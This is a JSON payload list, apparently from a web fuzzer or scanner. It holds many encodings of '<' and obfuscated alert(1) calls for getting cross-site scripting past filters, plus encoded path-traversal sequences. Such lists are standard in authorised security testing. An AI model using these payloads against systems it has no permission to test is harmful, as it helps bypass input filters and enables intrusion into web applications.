payloads.json

{
  "XSS": [
    "<",
    "%3C",
    "&lt",
    "&lt;",
    "&LT",
    "&LT;",
    "&#60",
    "&#060",
    "&#0060",
    "&#00060",
    "&#000060",
    "&#0000060",
    "&#60;",
    "&#060;",
    "&#0060;",
    "&#00060;",
    "&#000060;",
    "&#0000060;",
    "&#x3c",
    "&#x03c",
    "&#x003c",
    "&#x0003c",
    "&#x00003c",
    "&#x000003c",
    "&#x3c;",
    "&#x03c;",
    "&#x003c;",
    "&#x0003c;",
    "&#x00003c;",
    "&#x000003c;",
    "&#X3c",
    "&#X03c",
    "&#X003c",
    "&#X0003c",
    "&#X00003c",
    "&#X000003c",
    "&#X3c;",
    "&#X03c;",
    "&#X003c;",
    "&#X0003c;",
    "&#X00003c;",
    "&#X000003c;",
    "&#x3C",
    "&#x03C",
    "&#x003C",
    "&#x0003C",
    "&#x00003C",
    "&#x000003C",
    "&#x3C;",
    "&#x03C;",
    "&#x003C;",
    "&#x0003C;",
    "&#x00003C;",
    "&#x000003C;",
    "&#X3C",
    "&#X03C",
    "&#X003C",
    "&#X0003C",
    "&#X00003C",
    "&#X000003C",
    "&#X3C;",
    "&#X03C;",
    "&#X003C;",
    "&#X0003C;",
    "&#X00003C;",
    "&#X000003C;",
    "\\x3c",
    "\\x3C",
    "\u003c",
    "\u003C",
    "(alert)(1)",
    "a=alert,a(1)",
    "[1].find(alert)",
    "top[“al”+”ert”](1)",
    "top[/al/.source+/ert/.source](1)",
    "al\\u0065rt(1)",
    "top[‘al\\145rt’](1)",
    "top[‘al\\x65rt’](1)",
    "top[8680439..toString(30)](1)"
  ],
  "TRAVERS": [
    "../",
    "..\\",
    "..\\/",
    "%2e%2e%2f",
    "%252e%252e%252f",
    "%c0%ae%c0%ae%c0%af",
    "%uff0e%uff0e%u2215",
    "%uff0e%uff0e%u2216"
  ]
}